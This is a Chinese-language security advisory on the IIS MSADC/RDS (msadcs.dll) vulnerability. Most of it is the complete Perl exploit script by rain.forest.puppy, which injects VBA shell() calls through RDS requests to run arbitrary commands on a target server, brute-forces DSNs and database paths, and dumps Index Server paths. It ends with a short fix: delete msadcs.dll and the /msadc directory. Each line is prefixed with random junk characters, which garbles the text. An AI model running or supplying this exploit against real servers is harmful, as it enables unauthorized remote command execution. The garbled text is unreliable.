IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
R-|]GqS}L +\m!# CSA 涉及程序：
Vp94mi#L } Microsoft NT server
P Qay
sdb O&%T_Zk@@ 描述：
=ZL2 0<TeH 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
QrA+W\=_`y t:n|0G( 详细：
X;g|-< 如果你没有时间读详细内容的话，就删除:
5 jk4k c c:\Program Files\Common Files\System\Msadc\msadcs.dll
#bH[UId[ 有关的安全问题就没有了。
f>PU# D@B !(o2K!v0 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
GT0 'b ge ?Fw/c0 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
u' ][3 关于利用ODBC远程漏洞的描述，请参看:
Fb-TCq1y# #d(r^U#I http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm s* Ll\# 1j(, VW 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
BW[K/l~"$: http://www.microsoft.com/security/bulletins/MS99-025faq.asp YO61 pZY 85]UrwlA4 这里不再论述。
"yk%/: G+ HB:i0m2fJW 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
0:p#%Nvg 9NAlgET /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
=7> ~u 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
&n
wg$z{Y 9IV W bJ *WG}K?"/ #将下面这段保存为txt文件，然后: "perl -x 文件名"
a4YyE LXe ?HTwTi 5!) #!perl
L&%iY7sC` #
){~.jP=-# # MSADC/RDS 'usage' (aka exploit) script
]Re<7_xt #
9OB PFF # by rain.forest.puppy
n 66 _#X #
"AVc^ > # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
$G[##j2 # beta test and find errors!
~r3g~MCHS 3-5lO#&# use Socket; use Getopt::Std;
C'#:}]@E getopts("e:vd:h:XR", \%args);
HN+z7 Q8hH cA kw5}P print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
eNX-2S &V$R@~ x if (!defined $args{h} && !defined $args{R}) {
K"6 1i:F print qq~
" fdG5|NJe Usage: msadc.pl -h <host> { -d <delay> -X -v }
%k_JLddlW -h <host> = host you want to scan (ip or domain)
: %gBcL9T -d <seconds> = delay between calls, default 1 second
v*pVcBY> -X = dump Index Server path table, if available
hT[O5
-v = verbose
eJ'ojc3 -e = external dictionary file for step 5
`/O_6PQ} ;_!;D#: Or a -R will resume a command session
4Bz~_ Qa=;Elp:[ ~; exit;}
P<1zXs.H Ty m!7H 2 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
BshS@"8r if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
4{V =X3,x if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
_z;N|Xe if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
yI!K
quMC $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
uv$y"1'g if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
YAO0>T<F ;rX4${h if (!defined $args{R}){ $ret = &has_msadc;
PF~&!~S>W die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
[ 6M8a8C
r v+"=g print "Please type the NT commandline you want to run (cmd /c assumed):\n"
\*7Tj-# . "cmd /c ";
KM6r}CDHs $in=<STDIN>; chomp $in;
C..O_Zn{g $command="cmd /c " . $in ;
CzgLgh;:T ?w. Yx$Z" if (defined $args{R}) {&load; exit;}
g#e"BBm=A QS[%`-dR2 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
+XsY*$O &try_btcustmr;
JSM{|HJxh B=f{`rM)~W print "\nStep 2: Trying to make our own DSN...";
.gB#g{5+J &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
fgNEq &{$\]sv print "\nStep 3: Trying known DSNs...";
{d) +a$qj &known_dsn;
b3Do{1BV ~
60J print "\nStep 4: Trying known .mdbs...";
wFh{\ &known_mdb;
DpA)Z ?? ?wm r~j if (defined $args{e}){
`=oN &! print "\nStep 5: Trying dictionary of DSN names...";
I) 6)~[:' &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
sGV%O=9?2 :g Ze> print "Sorry Charley...maybe next time?\n";
s3q65%D exit;
zU( U^ vJYy` k^Y ##############################################################################
)J 0' We ztf (.~ sub sendraw { # ripped and modded from whisker
b.$Gc!g sleep($delay); # it's a DoS on the server! At least on mine...
]R0^
}sI my ($pstr)=@_;
*'Ch(c:rtH socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
JIK;/1 die("Socket problems\n");
sC/T)q2 if(connect(S,pack "SnA4x8",2,80,$target)){
1<lLE1fk select(S); $|=1;
TN&1C8 xr print $pstr; my @in=<S>;
/<GygRs select(STDOUT); close(S);
GX\/2P7CZ return @in;
4rv3D@E } else { die("Can't connect...\n"); }}
fuQ? @F N~SG=\rP;o ##############################################################################
ndN 8eh:OR 2&dtOyxo> sub make_header { # make the HTTP request
zL1H[}[z+ my $msadc=<<EOT
LTr n$k3} POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
!
XA07O[@ User-Agent: ACTIVEDATA
R:=i/P/ Host: $ip
NFsMc0{ Content-Length: $clen
U1B5gjN Connection: Keep-Alive
$$AKz\ QO0T<V ADCClientVersion:01.06
FD[* mCGZ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
<vOljo 4u A ;--j --!ADM!ROX!YOUR!WORLD!
IeE+h-3p Content-Type: application/x-varg
Ot5
$~o Content-Length: $reqlen
LDO@$jg R|`}z"4C EOT
Z3 =t" ; $msadc=~s/\n/\r\n/g;
Q']:k}y return $msadc;}
C^]bXIb pz~AsF ##############################################################################
az\ ;D\\ -_v[oqf$ sub make_req { # make the RDS request
b>?X8)f2e my ($switch, $p1, $p2)=@_;
^<7)w2ns my $req=""; my $t1, $t2, $query, $dsn;
pJ 1 GB sLPFeibof5 if ($switch==1){ # this is the btcustmr.mdb query
a'rN&*P $query="Select * from Customers where City=" . make_shell();
2 ES .)pQ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
8g^OXZ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
=2#
C {u. Ju Kj elsif ($switch==2){ # this is general make table query
0(h *< g: $query="create table AZZ (B int, C varchar(10))";
hBO I:4u[ $dsn="$p1";}
Q];+?Pu. (F
+if elsif ($switch==3){ # this is general exploit table query
0l!@bj $query="select * from AZZ where C=" . make_shell();
;VNwx(1l` $dsn="$p1";}
N_U Z u 52,p CyU elsif ($switch==4){ # attempt to hork file info from index server
xLP yV&j- $query="select path from scope()";
lmgMR|v $dsn="Provider=MSIDXS;";}
7?dB&m6W FD,M.kbg elsif ($switch==5){ # bad query
;a*i*{\Rm $query="select";
#92 :h6 $dsn="$p1";}
5a&[NN
3_+-t5 $t1= make_unicode($query);
I t!PP1$
$t2= make_unicode($dsn);
g < M\zD $req = "\x02\x00\x03\x00";
D9 OS,U/l $req.= "\x08\x00" . pack ("S1", length($t1));
ebcGdC/%> $req.= "\x00\x00" . $t1 ;
z+C>P4c-y& $req.= "\x08\x00" . pack ("S1", length($t2));
RgZBh04q $req.= "\x00\x00" . $t2 ;
D
N GNc $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
eh&? BP?
return $req;}
7AX<>^ &>ii2% 4 ##############################################################################
k:nr!Y< x~?,Wv|cm sub make_shell { # this makes the shell() statement
@{:E&K 1f return "'|shell(\"$command\")|'";}
O&!+ni
lc,{0$
1< ##############################################################################
v[q2OWcL |K YON Q sub make_unicode { # quick little function to convert to unicode
By]XD~gcP my ($in)=@_; my $out;
pLE|#58I for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
TxoMCN?7c return $out;}
3?|Fn8dQR. bjmUU6VLT ##############################################################################
5? &k? v@ ZT5t~5W sub rdo_success { # checks for RDO return success (this is kludge)
MRwls@z= my (@in) = @_; my $base=content_start(@in);
!h4S`2oZ/ if($in[$base]=~/multipart\/mixed/){
v7&e,:r2E@ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
tV<}!~0,* return 0;}
?}e8 g +ByxhSIr ##############################################################################
7hZCh, O ID
& Iz sub make_dsn { # this makes a DSN for us
`Rub"zM my @drives=("c","d","e","f");
Qr D zf e[ print "\nMaking DSN: ";
s^TF+d?B foreach $drive (@drives) {
LYhgBG, print "$drive: ";
QZ$9 4XLI my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
TG8QT\0G "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
2f9~:.NgF . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
}L^Yoq] $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
&?IOrHSv! return 0 if $2 eq "404"; # not found/doesn't exist
\$}xt`6p if($2 eq "200") {
yH#zyO4fD- foreach $line (@results) {
,> A9OTSN\ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
y44FejH(v } return 0;}
'g$~ij ;x .^>[@w 3 ##############################################################################
<mj H#aSy ck>|p09q'9 sub verify_exists {
MNzq,/Wf my ($page)=@_;
%H75u 6 my @results=sendraw("GET $page HTTP/1.0\n\n");
l~!Tnp\M return $results[0];}
/6B!& b2f / tM<ois* ##############################################################################
\Si@t{`O !f-mC,d sub try_btcustmr {
{(]B{n my @drives=("c","d","e","f");
]`0(^)U & my @dirs=("winnt","winnt35","winnt351","win","windows");
VJJGTkm LH@)((bi4v foreach $dir (@dirs) {
zuUf:%k}I print "$dir -> "; # fun status so you can see progress
$'btfo4H foreach $drive (@drives) {
G,9osTt/ print "$drive: "; # ditto
<&\HXAOd $reqlen=length( make_req(1,$drive,$dir) ) - 28;
?6+GE_VZ $reqlenlen=length( "$reqlen" );
!;.i#c_u $clen= 206 + $reqlenlen + $reqlen;
I~y[8 pj;cL ]L my @results=sendraw(make_header() . make_req(1,$drive,$dir));
dFD0l?0 N if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
XmXp0b7 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
wcUf?`21, 6pDb5@QjTy ##############################################################################
4N&
VT" 6f,#O8]#5 sub odbc_error {
|UZPn>F~ my (@in)=@_; my $base;
#X'!wr|- my $base = content_start(@in);
@;2,TY>Di if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Ug*:o d $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,u7: l $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
vS%o>"P $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
cJ j4qX F return $in[$base+4].$in[$base+5].$in[$base+6];}
; S7
% print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
-t wV?~f print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
5 BR9f3} $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
fC+<n{"C Zy _A3m{ ##############################################################################
\& r a&3o Tn,'*D@l sub verbose {
;W,XP#{W my ($in)=@_;
} md[hi J return if !$verbose;
$50A!h print STDOUT "\n$in\n";}
=UYZ){rt9E *t. L` G ##############################################################################
lg FA}p@ ukb2[mb*u sub save {
d|CSW cU my ($p1, $p2, $p3, $p4)=@_;
F+
qRC_C>O open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Q$Q s$ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
PrqN 5ND close OUT;}
b!Pz~ faXD $K>'aI;| ##############################################################################
`6;%HbP$W+ =EwC6+8*M sub load {
k2DT+}u7G my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Tl"GOpH\] open(IN,"<rds.save") || die("Couldn't open rds.save\n");
- ` F#MN @p=<IN>; close(IN);
dlk xA^ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
]pr( hk $target= inet_aton($ip) || die("inet_aton problems");
%K [_;8 print "Resuming to $ip ...";
'oSs5lW $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Xr'Y[E [ if($p[1]==1) {
fvnj:3RK $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
gFlUMfKh $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
tmEF7e`(o my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
>8h14uCk if (rdo_success(@results)){print "Success!\n";}
^-Ob($(\ else { print "failed\n"; verbose(odbc_error(@results));}}
x&>zD0\
:\ elsif ($p[1]==3){
AX=$r]_ if(run_query("$p[3]")){
[~e{58}J| print "Success!\n";} else { print "failed\n"; }}
KqC8o zup elsif ($p[1]==4){
yg34b}m{ if(run_query($drvst . "$p[3]")){
C3 >X1nU print "Success!\n"; } else { print "failed\n"; }}
)fSO|4 exit;}
d$.t0-lC &("HH"! ##############################################################################
*b#00)d
m/}(dT ; sub create_table {
5WJof`M my ($in)=@_;
a VTTpMY $reqlen=length( make_req(2,$in,"") ) - 28;
Z,~Bz@5`" $reqlenlen=length( "$reqlen" );
x?T.ItW:K $clen= 206 + $reqlenlen + $reqlen;
*$+k-BV my @results=sendraw(make_header() . make_req(2,$in,""));
3i1e1 Lj1 return 1 if rdo_success(@results);
kB~KC-&O my $temp= odbc_error(@results); verbose($temp);
7i(U?\A;. return 1 if $temp=~/Table 'AZZ' already exists/;
ErZYPl return 0;}
U Px7u%Do )Pr*\<C ld ##############################################################################
g Mhn\ mx\b6 w7 sub known_dsn {
< zUU` # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
~+ _|J"\ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
PeCU V6 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
"p,TYjT?R "banner", "banners", "ads", "ADCDemo", "ADCTest");
1 /@ lZ C|"BMam foreach $dSn (@dsns) {
kC : pal print ".";
p\xi 5z next if (!is_access("DSN=$dSn"));
St9+/Md=jQ if(create_table("DSN=$dSn")){
[+7 Nu print "$dSn successful\n";
#s"|8# if(run_query("DSN=$dSn")){
';T=kS<^_ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
fg[]>:ZT. print "Something's borked. Use verbose next time\n";}}} print "\n";}
w?u4-GT wO\,?SI4 ##############################################################################
!\e&7sV~Q XLG6f(B= F sub is_access {
k2]Q~ my ($in)=@_;
' j6)5WL$ $reqlen=length( make_req(5,$in,"") ) - 28;
i,k.#Vx[m $reqlenlen=length( "$reqlen" );
>$^v@jf $clen= 206 + $reqlenlen + $reqlen;
V s /Z8t my @results=sendraw(make_header() . make_req(5,$in,""));
l;u_4`1H my $temp= odbc_error(@results);
/Q |guJx verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Os1o!w:m5 return 0;}
CqF= 5z:A Z: TW{:lrI ##############################################################################
zxo0:dyw7 ZH@ BHg|}H sub run_query {
.tFMa: my ($in)=@_;
kaKV{;UM $reqlen=length( make_req(3,$in,"") ) - 28;
*qh$,mp> $reqlenlen=length( "$reqlen" );
_PI w""ssr $clen= 206 + $reqlenlen + $reqlen;
6[iu CMOZ my @results=sendraw(make_header() . make_req(3,$in,""));
dV~yIxD}C* return 1 if rdo_success(@results);
C`)n\?:Sth my $temp= odbc_error(@results); verbose($temp);
Kz v*` return 0;}
sE,Q:@H5 9lT6fW`v1Q ##############################################################################
.bwK G`F NZj_7j|o9 sub known_mdb {
yP&SA+ my @drives=("c","d","e","f","g");
ow,4'f!d my @dirs=("winnt","winnt35","winnt351","win","windows");
>_ )~"Ra my $dir, $drive, $mdb;
wK0= I\WN9 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
&s] wf YLEk
M
# this is sparse, because I don't know of many
oH[4<K> my @sysmdbs=( "\\catroot\\icatalog.mdb",
\5k^zGF4o "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
y)5U*\b "\\system32\\certmdb.mdb",
l7g<
$3 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
pO2Y'1* 9/La _ :K my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
!!WSGZUR "\\cfusion\\cfapps\\forums\\forums_.mdb",
)v4?+$g "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Q@7-UIV|q "\\cfusion\\cfapps\\security\\realm_.mdb",
}w,^]fC: "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Pk9 4O "\\cfusion\\database\\cfexamples.mdb",
0Q2P"1>KT/ "\\cfusion\\database\\cfsnippets.mdb",
`#X\@?'5 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
p=tj>{ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
C2 ~t "\\cfusion\\brighttiger\\database\\cleam.mdb",
(l|:$%[0 "\\cfusion\\database\\smpolicy.mdb",
L uLnmnmB "\\cfusion\\database\cypress.mdb",
qac4GZ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
n+ C,v.X "\\website\\cgi-win\\dbsample.mdb",
#i#4h< R "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
B{:JD^V! "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
h{dR)#)GF< ); #these are just
5CSihw/5 foreach $drive (@drives) {
>bKN$,Qen foreach $dir (@dirs){
F<KUVe foreach $mdb (@sysmdbs) {
rUb`_ W@ print ".";
5 #v if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
3c#CEuu print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
AW p{n if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
{x $h K98 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
`%8by y@$ } else { print "Something's borked. Use verbose next time\n"; }}}}}
mOLP77(o CB<i foreach $drive (@drives) {
y~&R(x~w foreach $mdb (@mdbs) {
C+iIvR YC print ".";
)czuJ5 if(create_table($drv . $drive . $dir . $mdb)){
rPK)= [MZ print "\n" . $drive . $dir . $mdb . " successful\n";
.?gpI Zv if(run_query($drv . $drive . $dir . $mdb)){
XJ3 5Z+M print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
1 LgzqRq } else { print "Something's borked. Use verbose next time\n"; }}}}
QzjLKjl7p4 }
l8 " CS:"F) at ##############################################################################
cU,]^/0Y @"`J~uK sub hork_idx {
=:T p H>f* print "\nAttempting to dump Index Server tables...\n";
wnf'-dw] print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
bt=%DMTn $reqlen=length( make_req(4,"","") ) - 28;
V!eq)L $reqlenlen=length( "$reqlen" );
D ^ mfWJS $clen= 206 + $reqlenlen + $reqlen;
X 8TwMt my @results=sendraw2(make_header() . make_req(4,"",""));
Ig&=(Kmr if (rdo_success(@results)){
!N6/l5 kn my $max=@results; my $c; my %d;
_N4G[jQLJ for($c=19; $c<$max; $c++){
5jj<sj!S $results[$c]=~s/\x00//g;
,W"[q ~ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
*\?t W]8< $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
+w~ <2Kt8 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
]!yuD/4A $d{"$1$2"}="";}
jU1 ([(?" foreach $c (keys %d){ print "$c\n"; }
`0@onDQVc= } else {print "Index server doesn't seem to be installed.\n"; }}
gO0X-fN8 7J ~usF>A ##############################################################################
kaSy 9Y{ _]SV@q^ sub dsn_dict {
m nK SO open(IN, "<$args{e}") || die("Can't open external dictionary\n");
2}Ga while(<IN>){
+|#lUXC $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
7Eo a~ next if (!is_access("DSN=$dSn"));
n
H)6mO Yp if(create_table("DSN=$dSn")){
Zt3"4d4 print "$dSn successful\n";
`|Aj3a3sND if(run_query("DSN=$dSn")){
[TUy><Z print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
s W'SR print "Something's borked. Use verbose next time\n";}}}
~x:\xQti print "\n"; close(IN);}
'&?OhSeN OhC%5 =a7 ##############################################################################
UY@^KT] -+^E5 sub sendraw2 { # ripped and modded from whisker
[,A*nU$ sleep($delay); # it's a DoS on the server! At least on mine...
!j'9>G{T my ($pstr)=@_;
c{YBCW A socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
zGtWyXP die("Socket problems\n");
eko$c,&jY if(connect(S,pack "SnA4x8",2,80,$target)){
lX^yd5M&f print "Connected. Getting data";
F` /mcyf open(OUT,">raw.out"); my @in;
y|sU-O2}Dl select(S); $|=1; print $pstr;
o :`>r/SlL while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
^FaBaDcnl close(OUT); select(STDOUT); close(S); return @in;
ZCdlTdY } else { die("Can't connect...\n"); }}
ulY8$jB IM" "s] ##############################################################################
74Fv9 Lt\Wz'6Y sub content_start { # this will take in the server headers
R#D>m8&}3 my (@in)=@_; my $c;
[1OX: O| for ($c=1;$c<500;$c++) {
A1VbqA if($in[$c] =~/^\x0d\x0a/){
1y\ -Iz^ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Ptfx F]%H else { return $c+1; }}}
Dt)O60X3> return -1;} # it should never get here actually
}vp pn=[Y --t"X<.z ##############################################################################
{#-I;I: ^0 z WiX sub funky {
Wt$" f my (@in)=@_; my $error=odbc_error(@in);
^oykimYI- if($error=~/ADO could not find the specified provider/){
Qn=#KS8=J print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Y~FN` =O exit;}
L?aaR %6# if($error=~/A Handler is required/){
@m#1[n; print "\nServer has custom handler filters (they most likely are patched)\n";
-0pAj}_2} exit;}
A*&`cUoA if($error=~/specified Handler has denied Access/){
2u B66i print "\nServer has custom handler filters (they most likely are patched)\n";
l"T{ !Oq exit;}}
\=3fO( #2dd`F8 ##############################################################################
#CRAQ#:45( !(% ^Tg= sub has_msadc {
0uw3[,I
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
28u3B2\$ my $base=content_start(@results);
@<^_ _." return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
=N,ahq return 0;}
,PmQ}1kGW B #zu< z ########################
)MV`(/BC* oU\Q|mN( <@+>A$~ 0 解决方案：
G1 :*F8q 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
ITUwIpA E 2、移除web 目录: /msadc
